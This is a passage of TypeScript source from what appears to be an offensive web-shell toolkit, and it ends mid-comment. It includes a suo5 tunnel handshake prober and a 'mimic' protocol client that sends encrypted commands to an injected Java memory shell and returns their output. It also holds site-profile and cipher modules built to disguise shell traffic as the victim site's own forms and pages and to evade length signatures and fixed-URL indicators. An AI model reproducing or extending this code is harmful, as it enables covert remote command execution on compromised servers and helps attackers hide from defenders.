marshalSuo5Map(entries: Array<[string, Buffer]>): Buffer {\n const parts: Buffer[] = [];\n for (const [key, value] of entries) {\n const keyBytes = Buffer.from(key, \"utf8\");\n const len = Buffer.alloc(4);\n len.writeUInt32BE(value.length, 0);\n parts.push(Buffer.from([keyBytes.length]), keyBytes, len, value);\n }\n return Buffer.concat(parts);\n}\n\nexport function unmarshalSuo5Map(data: Buffer): Map<string, Buffer> {\n const map = new Map<string, Buffer>();\n let off = 0;\n while (off < data.length - 1) {\n const kLen = data[off]!;\n off += 1;\n if (off + kLen > data.length) throw new Error(\"unexpected eof when read key\");\n const key = data.toString(\"utf8\", off, off + kLen);\n off += kLen;\n if (off + 4 > data.length) throw new Error(\"unexpected eof when read value size\");\n const vLen = data.readUInt32BE(off);\n off += 4;\n if (off + vLen > data.length) throw new Error(\"unexpected eof when read value\");\n map.set(key, data.subarray(off, off + vLen));\n off += vLen;\n }\n return map;\n}\n\n/** suo5's `DataFrame.MarshalBinaryBase64`. */\nexport function marshalFrameBase64(data: Buffer): Buffer {\n const obs = randomBytes(2);\n const xored = Buffer.from(data);\n for (let i = 0; i < xored.length; i++) xored[i] = xored[i]! ^ obs[i % 2]!;\n const dataB64 = base64UrlEncode(xored);\n\n const header = Buffer.alloc(6);\n obs.copy(header, 0);\n header.writeUInt32BE(Buffer.byteLength(dataB64), 2);\n for (let i = 2; i < 6; i++) header[i] = header[i]! ^ obs[i % 2]!;\n\n return Buffer.concat([Buffer.from(base64UrlEncode(header)), Buffer.from(dataB64)]);\n}\n\nexport interface Suo5Frame {\n data: Buffer;\n /** offset just past this frame */\n next: number;\n}\n\n/** suo5's `ReadFrameBase64` over a flat buffer. Throws on truncation. */\nexport function unmarshalFrameBase64(buf: Buffer, offset = 0): Suo5Frame {\n if (buf.length - offset < 8) throw new Error(\"failed to read header base64: truncated\");\n const header = base64UrlDecode(buf.toString(\"latin1\", offset, offset + 8));\n if (header.length !== 6) throw new Error(\"invalid header length\");\n const obs = header.subarray(0, 2);\n for (let i = 2; i < 6; i++) header[i] = header[i]! ^ obs[(i - 2) % 2]!;\n const dataLength = header.readUInt32BE(2);\n if (dataLength > 32 * 1024 * 1024) throw new Error(`frame is too big, ${dataLength}`);\n const dataStart = offset + 8;\n if (buf.length - dataStart < dataLength) throw new Error(\"failed to read data base64: truncated\");\n const data = base64UrlDecode(buf.toString(\"latin1\", dataStart, dataStart + dataLength));\n for (let i = 0; i < data.length; i++) data[i] = data[i]! ^ obs[i % 2]!;\n return { data, next: dataStart + dataLength };\n}\n\n// ---------- v2 handshake ----------\n\nasync function testSuo5V2(\n url: string,\n options: CommonConnectOptions,\n): Promise<{ ok: boolean; detail?: string; error?: string }> {\n const identifier = randomString(48);\n const frame = marshalFrameBase64(\n marshalSuo5Map([\n [\"ac\", Buffer.from([0x01])], // ActionData\n [\"id\", randomBytes(8)],\n [\"dt\", Buffer.from(identifier, \"utf8\")],\n [\"a\", Buffer.from([0x00])], // classic (non-streaming) check\n [\"m\", Buffer.from([0x00])], // ConnectionType.Checking\n [\"_\", randomBytes(Math.floor(Math.random() * 64))], // junk\n ]),\n );\n\n let response;\n try {\n response = await postRaw(url, frame, {\n headers: buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return { ok: false, error: err instanceof Error ? err.message : String(err) };\n }\n\n try {\n const echoFrame = unmarshalFrameBase64(response.body, 0);\n const echoMap = unmarshalSuo5Map(echoFrame.data);\n const echoed = echoMap.get(\"dt\")?.toString(\"utf8\");\n if (echoed !== identifier) {\n return {\n ok: false,\n error: `HTTP ${response.status}, first frame did not echo the identifier (got ${\n echoed === undefined ? \"no dt field\" : JSON.stringify(echoed.slice(0, 64))\n })`,\n };\n }\n const sessionFrame = unmarshalFrameBase64(response.body, echoFrame.next);\n const sessionMap = unmarshalSuo5Map(sessionFrame.data);\n const sid = sessionMap.get(\"dt\")?.toString(\"utf8\");\n if (!sid) {\n return { ok: false, error: \"second frame carries no session id\" };\n }\n return { ok: true, detail: `suo5 v2 handshake ok (session ${sid}, HTTP ${response.status})` };\n } catch (err) {\n return {\n ok: false,\n error: `HTTP ${response.status}, response is not valid suo5 frames (${\n err instanceof Error ? err.message : String(err)\n })`,\n };\n }\n}\n\n// ---------- v1 plain echo ----------\n\nasync function testSuo5V1(\n url: string,\n options: CommonConnectOptions,\n): Promise<{ ok: boolean; detail?: string; error?: string }> {\n const probe = randomBytes(32);\n let response;\n try {\n response = await postRaw(url, probe, {\n headers: buildHeaders({ \"Content-Type\": \"application/plain\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return { ok: false, error: err instanceof Error ? err.message : String(err) };\n }\n if (response.body.equals(probe)) {\n return {\n ok: true,\n detail: `suo5 v1 full-duplex echo ok (32 bytes round-trip, HTTP ${response.status})`,\n };\n }\n return {\n ok: false,\n error: `HTTP ${response.status}, expected the 32 probe bytes echoed back, got ${response.body.length} different bytes`,\n };\n}\n\nexport async function testSuo5(\n url: string,\n options: Suo5ConnectOptions = {},\n): Promise<ConnectTestResult> {\n const started = Date.now();\n const mode = options.mode ?? \"auto\";\n const failures: string[] = [];\n\n if (mode === \"v2\" || mode === \"auto\") {\n const v2 = await testSuo5V2(url, options);\n if (v2.ok) {\n return { ok: true, tool: \"suo5\", url, detail: v2.detail, durationMs: Date.now() - started };\n }\n failures.push(`v2: ${v2.error}`);\n if (mode === \"v2\") {\n return {\n ok: false,\n tool: \"suo5\",\n url,\n error: `${v2.error} — not a suo5(v2) shell?`,\n durationMs: Date.now() - started,\n };\n }\n }\n if (mode === \"v1\" || mode === \"auto\") {\n const v1 = await testSuo5V1(url, options);\n if (v1.ok) {\n return { ok: true, tool: \"suo5\", url, detail: v1.detail, durationMs: Date.now() - started };\n }\n failures.push(`v1: ${v1.error}`);\n }\n\n return {\n ok: false,\n tool: \"suo5\",\n url,\n error: failures.join(\"; \") + \" — not a suo5 shell (or missing gate header)\",\n durationMs: Date.now() - started,\n };\n}\n","/**\n * mimic — the demo plugin: a shell protocol that shapes its traffic after\n * the target site's own pages (see docs/custom-memshell-design.md §B).\n *\n * Client side of the wire format documented in mimic-shared.ts:\n * - requests look like an ordinary browser form POST;\n * - responses are full HTML pages (the site profile's template) with the\n * ciphertext hidden in a per-shell-unique JS variable assignment;\n * - with --dynamic-path the request path is randomized using the path\n * vocabulary the profile learned from the site (filter-style shells\n * answer on any path, so the URL stops being a fixed indicator).\n *\n * The server side for local validation lives in mimic-server.ts; generating\n * a real Java memory shell from a profile is the P1 follow-up.\n */\nimport { randomInt } from \"node:crypto\";\n\nimport {\n inferBodyTemplateContentType,\n loadProfile,\n pickRequestShape,\n profileRequests,\n profileTemplates,\n type SiteProfile,\n} from \"../core/site-profile.js\";\nimport { postRaw } from \"./http.js\";\nimport { randomString } from \"./crypto.js\";\nimport {\n deriveMarkers,\n resolveCipher,\n type MimicCipher,\n type ResponseMarkers,\n} from \"./mimic-codecs.js\";\nimport {\n buildFormBody,\n buildJsonBody,\n deriveAesKey,\n encryptField,\n extractBetween,\n renderBodyTemplate,\n templateDelimiters,\n decryptField,\n renderFieldValue,\n} from \"./mimic-shared.js\";\nimport type { ProtocolRequest, ShellProtocol } from \"./registry.js\";\nimport type { ConnectTestResult, ExecResult } from \"./types.js\";\nimport { buildHeaders } from \"./types.js\";\n\n/** A minimal, self-consistent browser header set (suo5's lesson: match the UA). */\nconst BROWSER_HEADERS: Record<string, string> = {\n \"User-Agent\":\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36\",\n Accept: \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n \"Accept-Language\": \"zh-CN,zh;q=0.9,en;q=0.8\",\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n};\n\ninterface MimicContext {\n pass: string;\n aesKey: string;\n cipher: MimicCipher;\n markers: ResponseMarkers;\n profile?: SiteProfile;\n dynamicPath: boolean;\n}\n\nfunction buildContext(req: ProtocolRequest): MimicContext {\n const pass = req.conn.pass ?? \"pass\";\n const secretKey = req.conn.key ?? \"key\";\n let profile: SiteProfile | undefined;\n const profileName = req.options.profile ?? req.conn.profile;\n if (profileName) {\n profile = loadProfile(profileName); // throws a descriptive error when missing\n }\n const cipher = resolveCipher(profile?.cipher);\n return {\n pass,\n aesKey: deriveAesKey(secretKey),\n cipher,\n markers: deriveMarkers(pass, secretKey, cipher),\n profile,\n dynamicPath: req.options.dynamicPath ?? false,\n };\n}\n\n/** Where to send this request: the fixed shell URL, or a randomized path. */\nexport function pickRequestUrl(connUrl: string, ctx: MimicContext): string {\n if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {\n return connUrl;\n }\n const origin = new URL(connUrl).origin;\n const dir = ctx.profile.paths[randomInt(ctx.profile.paths.length)]!;\n const slug = randomString(8).toLowerCase();\n return `${origin}${dir}${slug}`;\n}\n\ninterface MimicRoundTrip {\n ok: boolean;\n output?: string;\n error?: string;\n requestUrl: string;\n status: number;\n durationMs: number;\n}\n\nasync function roundTrip(\n req: ProtocolRequest,\n ctx: MimicContext,\n plaintext: string,\n): Promise<MimicRoundTrip> {\n let requestUrl = pickRequestUrl(req.conn.url, ctx);\n // pick one request shape (profiles may carry an array): the ciphertext rides\n // in shape.secretField — in the form body (default), the URL query, or a header\n const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);\n const secretField = shape?.secretField ?? ctx.pass;\n const secretIn = shape?.secretIn ?? \"body\";\n const bodyStyle = shape?.bodyStyle ?? \"form\";\n const cipher = encryptField(Buffer.from(plaintext, \"utf8\"), ctx.aesKey, ctx.cipher);\n const decoys = (shape?.fields ?? []).map((f) => ({\n name: f.name,\n value: renderFieldValue(f.value),\n }));\n\n let body: Buffer;\n const extraHeaders: Record<string, string> = {};\n if (secretIn === \"query\") {\n const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();\n requestUrl += (requestUrl.includes(\"?\") ? \"&\" : \"?\") + qs;\n body = Buffer.alloc(0);\n } else if (secretIn === \"header\") {\n // base64 is legal in header values as-is — no URL-encoding there\n extraHeaders[secretField] = cipher;\n body = bodyStyle === \"json\" ? buildJsonBody(decoys) : buildFormBody(decoys);\n } else if (shape?.bodyTemplate) {\n // a full body template (chat-API JSON / GraphQL / XML / multipart…):\n // the ciphertext goes where {{payload}} sits, decoys ride {{macros}}\n body = renderBodyTemplate(shape.bodyTemplate, cipher);\n } else {\n body =\n bodyStyle === \"json\"\n ? buildJsonBody([...decoys, { name: secretField, value: cipher }])\n : buildFormBody([...decoys, { name: secretField, value: cipher }]);\n }\n const baseHeaders: Record<string, string> = { ...BROWSER_HEADERS };\n // query mode: an empty body must not claim a form Content-Type\n if (secretIn === \"query\") delete baseHeaders[\"Content-Type\"];\n else if (shape?.bodyTemplate) {\n // explicit headers win (merged below); otherwise infer from the body —\n // a multipart template's boundary comes from its first delimiter line\n const t = shape.bodyTemplate.trimStart();\n if (t.startsWith(\"--\")) {\n const boundary = t.split(/\\r?\\n/, 1)[0]!.slice(2);\n baseHeaders[\"Content-Type\"] = `multipart/form-data; boundary=${boundary}`;\n } else {\n // shared with the custom build's body-read allowlist derivation\n const inferred = inferBodyTemplateContentType(shape.bodyTemplate);\n if (inferred) baseHeaders[\"Content-Type\"] = inferred;\n else delete baseHeaders[\"Content-Type\"];\n }\n } else if (bodyStyle === \"json\") baseHeaders[\"Content-Type\"] = \"application/json\";\n const headers = buildHeaders(\n { ...baseHeaders, ...extraHeaders, ...(shape?.headers ?? {}) },\n req.common,\n );\n let res;\n try {\n res = await postRaw(requestUrl, body, {\n headers,\n timeoutMs: req.common.timeoutMs,\n insecure: req.common.insecure,\n });\n } catch (err) {\n return {\n ok: false,\n error: err instanceof Error ? err.message : String(err),\n requestUrl,\n status: 0,\n durationMs: 0,\n };\n }\n if (res.status !== 200) {\n return {\n ok: false,\n error: `HTTP ${res.status} — the endpoint did not answer like a mimic shell`,\n requestUrl,\n status: res.status,\n durationMs: res.durationMs,\n };\n }\n const text = res.body.toString(\"utf8\");\n // try each cover template's delimiters — the server rotates templates, and\n // {{payload}} templates have their own exact bounds (any content type)\n const delimiters = templateDelimiters(\n ctx.profile ? profileTemplates(ctx.profile) : [],\n ctx.markers,\n );\n let b64: string | null = null;\n for (const d of delimiters) {\n b64 = extractBetween(text, d.left, d.right);\n if (b64 !== null) break;\n }\n if (b64 === null) {\n return {\n ok: false,\n error: \"response marker not found — wrong pass/key, or the page is not a mimic shell\",\n requestUrl,\n status: res.status,\n durationMs: res.durationMs,\n };\n }\n try {\n const output = decryptField(b64, ctx.aesKey, ctx.cipher).toString(\"utf8\");\n return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };\n } catch {\n return {\n ok: false,\n error: \"response decryption failed — wrong key?\",\n requestUrl,\n status: res.status,\n durationMs: res.durationMs,\n };\n }\n}\n\nexport const mimicProtocol: ShellProtocol = {\n name: \"mimic\",\n description: \"site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)\",\n\n async test(req: ProtocolRequest): Promise<ConnectTestResult> {\n const started = Date.now();\n const tool = \"mimic\";\n const url = req.conn.url;\n let ctx: MimicContext;\n try {\n ctx = buildContext(req);\n } catch (err) {\n return {\n ok: false,\n tool,\n url,\n error: err instanceof Error ? err.message : String(err),\n durationMs: Date.now() - started,\n };\n }\n const canary = randomString(12);\n const r = await roundTrip(req, ctx, `echo ${canary}`);\n if (!r.ok) {\n return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };\n }\n if (!r.output!.includes(canary)) {\n return {\n ok: false,\n tool,\n url,\n error: \"round-trip mismatch — endpoint decrypted but did not execute the canary\",\n durationMs: Date.now() - started,\n };\n }\n const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : \"no profile\";\n const pathNote = r.requestUrl === url ? \"fixed path\" : `dynamic path ${r.requestUrl}`;\n return {\n ok: true,\n tool,\n url,\n detail: `round-trip ok (${profileNote}; ${pathNote})`,\n durationMs: Date.now() - started,\n };\n },\n\n async exec(req: ProtocolRequest, command: string): Promise<ExecResult> {\n const started = Date.now();\n const tool = \"mimic\";\n const url = req.conn.url;\n let ctx: MimicContext;\n try {\n ctx = buildContext(req);\n } catch (err) {\n return {\n ok: false,\n tool,\n url,\n command,\n error: err instanceof Error ? err.message : String(err),\n durationMs: Date.now() - started,\n };\n }\n const r = await roundTrip(req, ctx, command);\n if (!r.ok) {\n return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };\n }\n return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };\n },\n};\n","/**\n * Site profiles — the mimic protocol's view of what a target site looks\n * like (see docs/custom-memshell-design.md).\n *\n * Profiles are written BY THE OPERATOR (or an AI agent), not crawled: a\n * dumb crawler can't judge which page makes the best cover, and in\n * practice the agent reads the site itself and hand-writes this JSON.\n * This module is only the store + schema:\n *\n * - templates: one or more real response bodies (HTML/JSON/XML/JS…)\n * used as response skins — the server rotates among them so\n * responses don't all share one page's length/hash. A\n * template carrying `{{payload}}` gets the ciphertext\n * substituted exactly there (any format); an HTML template\n * without it gets the marker fragment injected;\n * - paths: the site's path vocabulary, e.g. [\"/api/\", \"/news/\"],\n * used for --dynamic-path request randomization.\n *\n * Legacy profiles with a single `template`/`title`/`contentType` triple\n * still load — they are normalized to a one-entry `templates` list.\n *\n * Store location: ~/.memparty/profiles/<name>.json (dir override with\n * MEMPARTY_PROFILES).\n */\nimport { existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { join } from \"node:path\";\n\nexport interface ProfileTemplate {\n /** <title> of this page (metadata — the template is used verbatim). */\n title: string;\n /**\n * Full body of a real response on the site (a response skin). Any text\n * format is allowed — HTML, JSON, XML, JS… When it contains the literal\n * placeholder `{{payload}}`, the ciphertext is substituted exactly there\n * (works for every format); without a placeholder the template must be an\n * HTML page and the cipher's marker fragment is injected before </body>.\n */\n template: string;\n /** Content-Type this page is served with (the shell answers with it). */\n contentType: string;\n /** Relative rotation weight (default 1). */\n weight?: number;\n}\n\n/** One form field in the request shape. Values may contain {{hex:N}} placeholders. */\nexport interface ProfileFormField {\n name: string;\n value: string;\n}\n\n/**\n * How shell requests should look on the wire. Model it on a real form the\n * target site already receives all the time (e.g. its own login POST):\n * the ciphertext hides in `secretField`, surrounded by decoy fields.\n *\n * A profile may carry ONE of these or an ARRAY of them (`request: [...]`) —\n * the client picks one at random per request, so the request shape varies\n * the same way the response skins do.\n */\nexport interface ProfileRequest {\n /** Field that carries the ciphertext (e.g. \"verCode\"). */\n secretField: string;\n /** Where the ciphertext goes: form body (default), URL query, or a header. */\n secretIn?: \"body\" | \"query\" | \"header\";\n /**\n * Body serialization when secretIn=body: \"form\" (default, url-encoded) or\n * \"json\" (a JSON object with Content-Type application/json — for API sites\n * whose dominant traffic is JSON XHR). Ignored when bodyTemplate is set.\n */\n bodyStyle?: \"form\" | \"json\";\n /**\n * Full request body with the literal placeholder `{{payload}}` where the\n * ciphertext goes (takes precedence over bodyStyle; secretIn must be body).\n * Any text format — an OpenAI-style chat JSON, a GraphQL envelope, an XML\n * SOAP message, a multipart/form-data body (pair it with a Content-Type\n * header carrying the same boundary). Decoy macros {{hex:N}}, {{b64:N}},\n * {{uuid}}, {{ts}}, {{int:A:B}} are rendered per request.\n */\n bodyTemplate?: string;\n /** Decoy fields sent alongside (e.g. csrftoken/j_username/agreement). */\n fields?: ProfileFormField[];\n /** Extra/override request headers for this shape (e.g. Accept). */\n headers?: Record<string, string>;\n /** Relative rotation weight (default 1) when `request` is an array. */\n weight?: number;\n}\n\n/**\n * Infer the Content-Type a bodyTemplate implies when the shape doesn't set\n * one explicitly in headers. The client sends this CT and the custom build\n * derives the filter's body-read allowlist from the same inference — the\n * two sides must agree, hence one shared helper.\n */\nexport function inferBodyTemplateContentType(bodyTemplate: string): string | null {\n const t = bodyTemplate.trimStart();\n if (t.startsWith(\"--\")) return \"multipart/form-data\";\n if (t.startsWith(\"{\") || t.startsWith(\"[\")) return \"application/json\";\n if (t.startsWith(\"<\")) return \"text/xml\";\n return null;\n}\n\n/**\n * How the ciphertext is produced and hidden (the mimic codec menu).\n * All fields optional — a profile without `cipher` speaks the original\n * mimic wire format (aes-ecb + base64 + js-var marker).\n *\n * NOTE: the cipher is BAKED INTO the filter at `memparty custom build`\n * time. Editing it in the profile afterwards means the client and the\n * injected filter no longer match — rebuild and re-inject.\n */\nexport interface ProfileCipher {\n /** Cipher for the payload: AES/ECB (legacy), AES/CBC with random IV, or cyclic XOR. */\n algorithm?: \"aes-ecb\" | \"aes-cbc\" | \"xor\";\n /** Text encoding of the ciphertext bytes. */\n encoding?: \"base64\" | \"base64url\" | \"hex\";\n /**\n * Append key-derived-length (0-15) random alnum garbage after the encoded\n * ciphertext — Behinder's aes_with_magic trick against length signatures.\n */\n padTail?: boolean;\n /** How the response hides the ciphertext inside the cover page. */\n marker?: \"js-var\" | \"html-comment\";\n}\n\nexport interface SiteProfile {\n name: string;\n /** Origin the profile describes, e.g. \"http://192.0.2.1:8080\". */\n site: string;\n createdAt: string;\n /** Response skins; the server rotates among them per response. */\n templates?: ProfileTemplate[];\n /** Legacy single-template fields — accepted on load, normalized by profileTemplates(). */\n title?: string;\n template?: string;\n contentType?: string;\n /** The site's path vocabulary, e.g. [\"/api/\", \"/news/\"]. */\n paths: string[];\n /** Request shape(s): one object, or an array the client rotates among. */\n request?: ProfileRequest | ProfileRequest[];\n /** Wire codec selection (baked into the filter at build time). */\n cipher?: ProfileCipher;\n}\n\n/** The effective template list: `templates[]` if present, else the legacy single triple. */\nexport function profileTemplates(profile: SiteProfile): ProfileTemplate[] {\n if (Array.isArray(profile.templates) && profile.templates.length > 0) {\n return profile.templates;\n }\n if (profile.template) {\n return [\n {\n title: profile.title ?? \"\",\n template: profile.template,\n contentType: profile.contentType ?? \"text/html; charset=utf-8\",\n },\n ];\n }\n return [];\n}\n\n/** The effective request-shape list (empty when the profile has none). */\nexport function profileRequests(profile: SiteProfile): ProfileRequest[] {\n if (!profile.request) return [];\n return Array.isArray(profile.request) ? profile.request : [profile.request];\n}\n\n/** Pick one request shape at random, honoring `weight` (default 1). */\nexport function pickRequestShape(requests: ProfileRequest[]): ProfileRequest | undefined {\n if (requests.length === 0) return undefined;\n const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);\n let roll = Math.random() * total;\n for (const r of requests) {\n roll -= r.weight ?? 1;\n if (roll <= 0) return r;\n }\n return requests[requests.length - 1]!;\n}\n\nconst NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;\n\n/** Where the ciphertext goes inside a cover template (any text format). */\nexport const PAYLOAD_PLACEHOLDER = \"{{payload}}\";\n\nexport function profilesDir(): string {\n const override = process.env.MEMPARTY_PROFILES;\n return override ? override : join(homedir(), \".memparty\", \"profiles\");\n}\n\nexport function profilePath(name: string): string {\n return join(profilesDir(), `${name}.json`);\n}\n\n/** Throw a descriptive error on any schema problem. */\nexport function validateProfile(profile: SiteProfile): void {\n if (!NAME_RE.test(profile.name)) {\n throw new Error(\n `invalid profile name ${JSON.stringify(profile.name)} — use letters, digits, '.', '_', '-'`,\n );\n }\n if (!profile.site || !/^https?:\\/\\//.test(profile.site)) {\n throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);\n }\n const templates = profileTemplates(profile);\n if (templates.length === 0) {\n throw new Error(\"profile needs at least one template (templates[] or legacy template)\");\n }\n templates.forEach((t, i) => {\n // a {{payload}} placeholder makes any text format usable; without it the\n // template must be an HTML page (the marker fragment needs </body>)\n if (!t.template || (!t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\\s+html|<html|<head/i.test(t.template))) {\n throw new Error(\n `templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`,\n );\n }\n if (!t.contentType) {\n throw new Error(`templates[${i}].contentType is required (e.g. \"text/html; charset=utf-8\")`);\n }\n });\n if (!Array.isArray(profile.paths)) {\n throw new Error(\"profile.paths must be an array (may be empty)\");\n }\n for (const [ri, req] of profileRequests(profile).entries()) {\n if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {\n throw new Error(`request[${ri}].secretField must be a form-field name`);\n }\n if (req.secretIn !== undefined && ![\"body\", \"query\", \"header\"].includes(req.secretIn)) {\n throw new Error(`request[${ri}].secretIn must be body | query | header`);\n }\n if (req.bodyStyle !== undefined && ![\"form\", \"json\"].includes(req.bodyStyle)) {\n throw new Error(`request[${ri}].bodyStyle must be form | json`);\n }\n if (req.bodyTemplate !== undefined) {\n if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {\n throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);\n }\n if (req.secretIn !== undefined && req.secretIn !== \"body\") {\n throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);\n }\n }\n if (req.headers !== undefined) {\n for (const [k, v] of Object.entries(req.headers)) {\n if (typeof v !== \"string\" || !k) {\n throw new Error(`request[${ri}].headers must be a string map`);\n }\n }\n }\n for (const [i, f] of (req.fields ?? []).entries()) {\n if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {\n throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);\n }\n if (f.name === req.secretField) {\n throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);\n }\n }\n }\n if (profile.cipher !== undefined) {\n const c = profile.cipher;\n if (c.algorithm !== undefined && ![\"aes-ecb\", \"aes-cbc\", \"xor\"].includes(c.algorithm)) {\n throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);\n }\n if (c.encoding !== undefined && ![\"base64\", \"base64url\", \"hex\"].includes(c.encoding)) {\n throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);\n }\n if (c.marker !== undefined && ![\"js-var\", \"html-comment\"].includes(c.marker)) {\n throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);\n }\n if (c.padTail !== undefined && typeof c.padTail !== \"boolean\") {\n throw new Error(\"cipher.padTail must be a boolean\");\n }\n }\n}\n\nexport function saveProfile(profile: SiteProfile): void {\n validateProfile(profile);\n const dir = profilesDir();\n mkdirSync(dir, { recursive: true });\n writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}\\n`, \"utf8\");\n}\n\nexport function loadProfile(name: string): SiteProfile {\n const path = profilePath(name);\n if (!existsSync(path)) {\n throw new Error(\n `unknown profile ${JSON.stringify(name)} — scaffold one with 'memparty profile init ${name} --site <origin>' ` +\n `and fill in the template/paths by hand (stored: ${listProfiles().join(\", \") || \"(none)\"})`,\n );\n }\n const profile = JSON.parse(readFileSync(path, \"utf8\")) as SiteProfile;\n validateProfile(profile);\n return profile;\n}\n\nexport function listProfiles(): string[] {\n const dir = profilesDir();\n if (!existsSync(dir)) return [];\n return readdirSync(dir)\n .filter((f) => f.endsWith(\".json\"))\n .map((f) => f.slice(0, -\".json\".length))\n .sort();\n}\n\n/** An empty-but-valid skeleton for hand-authoring (`memparty profile init`). */\nexport function profileSkeleton(name: string, site: string): SiteProfile {\n return {\n name,\n site: site.replace(/\\/+$/, \"\"),\n createdAt: new Date().toISOString(),\n templates: [\n {\n title: \"\",\n template: \"<!DOCTYPE html>\\n<html>\\n<head>\\n<meta charset=\\\"UTF-8\\\">\\n<title></title>\\n</head>\\n<body>\\n</body>\\n</html>\\n\",\n contentType: \"text/html; charset=utf-8\",\n },\n ],\n paths: [],\n };\n}\n","/**\n * Mimic wire codecs — the selectable half of the mimic protocol.\n *\n * The site profile's `cipher` section picks how the ciphertext is produced\n * and hidden; every option is implemented twice, once here (TypeScript, used\n * by the client and the mock server) and once as a Java snippet in\n * src/custom/java-template.ts (compiled into the injected filter). The two\n * halves are pinned together by the cross-language tests in\n * src/custom/java-probe.test.ts — change one side and the other must follow.\n *\n * The pipeline is the same in both directions:\n * encrypt: bytes -> cipher -> encoding -> padTail\n * decrypt: strip padTail -> encoding^-1 -> cipher^-1\n *\n * A profile without a `cipher` section gets LEGACY_CIPHER, which is\n * byte-identical to the original mimic wire format — filters injected before\n * this menu existed keep working.\n */\nimport { createCipheriv, createDecipheriv, randomBytes } from \"node:crypto\";\n\nimport type { ProfileCipher } from \"../core/site-profile.js\";\nimport {\n aesEcbDecrypt,\n aesEcbEncrypt,\n base64UrlDecode,\n base64UrlEncode,\n md5Hex,\n} from \"./crypto.js\";\n\nexport type CipherAlgorithm = NonNullable<ProfileCipher[\"algorithm\"]>;\nexport type CipherEncoding = NonNullable<ProfileCipher[\"encoding\"]>;\nexport type ResponseMarker = NonNullable<ProfileCipher[\"marker\"]>;\n\nexport const CIPHER_ALGORITHMS: CipherAlgorithm[] = [\"aes-ecb\", \"aes-cbc\", \"xor\"];\nexport const CIPHER_ENCODINGS: CipherEncoding[] = [\"base64\", \"base64url\", \"hex\"];\nexport const RESPONSE_MARKERS: ResponseMarker[] = [\"js-var\", \"html-comment\"];\n\n/** A fully-resolved cipher selection (every field present). */\nexport interface MimicCipher {\n algorithm: CipherAlgorithm;\n encoding: CipherEncoding;\n padTail: boolean;\n marker: ResponseMarker;\n}\n\n/** The original mimic wire format: AES/ECB + base64 + JS-variable marker. */\nexport const LEGACY_CIPHER: MimicCipher = {\n algorithm: \"aes-ecb\",\n encoding: \"base64\",\n padTail: false,\n marker: \"js-var\",\n};\n\n/** Fill the profile's partial `cipher` section with the legacy defaults. */\nexport function resolveCipher(partial?: ProfileCipher): MimicCipher {\n return { ...LEGACY_CIPHER, ...(partial ?? {}) };\n}\n\n// ---------- crypto ----------\n\nfunction xorCrypt(data: Buffer, key: Buffer): Buffer {\n const out = Buffer.alloc(data.length);\n for (let i = 0; i < data.length; i++) out[i] = data[i]! ^ key[i % key.length]!;\n return out;\n}\n\n/**\n * Encrypt/decrypt raw bytes. `aesKey` is the 16-char md5-derived key (same\n * derivation as Godzilla). aes-cbc prepends a random 16-byte IV; xor cycles\n * the key bytes — both must stay in sync with the Java snippets.\n */\nexport function crypt(data: Buffer, aesKey: string, enc: boolean, algorithm: CipherAlgorithm): Buffer {\n switch (algorithm) {\n case \"aes-ecb\":\n return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);\n case \"aes-cbc\": {\n const key = Buffer.from(aesKey, \"utf8\");\n if (enc) {\n const iv = randomBytes(16);\n const c = createCipheriv(\"aes-128-cbc\", key, iv);\n return Buffer.concat([iv, c.update(data), c.final()]);\n }\n const d = createDecipheriv(\"aes-128-cbc\", key, data.subarray(0, 16));\n return Buffer.concat([d.update(data.subarray(16)), d.final()]);\n }\n case \"xor\":\n return xorCrypt(data, Buffer.from(aesKey, \"utf8\"));\n }\n}\n\n// ---------- encoding ----------\n\nfunction encodeBytes(data: Buffer, encoding: CipherEncoding): string {\n switch (encoding) {\n case \"base64\":\n return data.toString(\"base64\");\n case \"base64url\":\n return base64UrlEncode(data);\n case \"hex\":\n return data.toString(\"hex\");\n }\n}\n\nfunction decodeString(text: string, encoding: CipherEncoding): Buffer {\n switch (encoding) {\n case \"base64\":\n return Buffer.from(text, \"base64\");\n case \"base64url\":\n return base64UrlDecode(text);\n case \"hex\":\n return Buffer.from(text, \"hex\");\n }\n}\n\n// ---------- padTail ----------\n\n/**\n * Length of the random-garbage tail, derived from the key so both sides\n * compute it identically (0-15). Behinder's 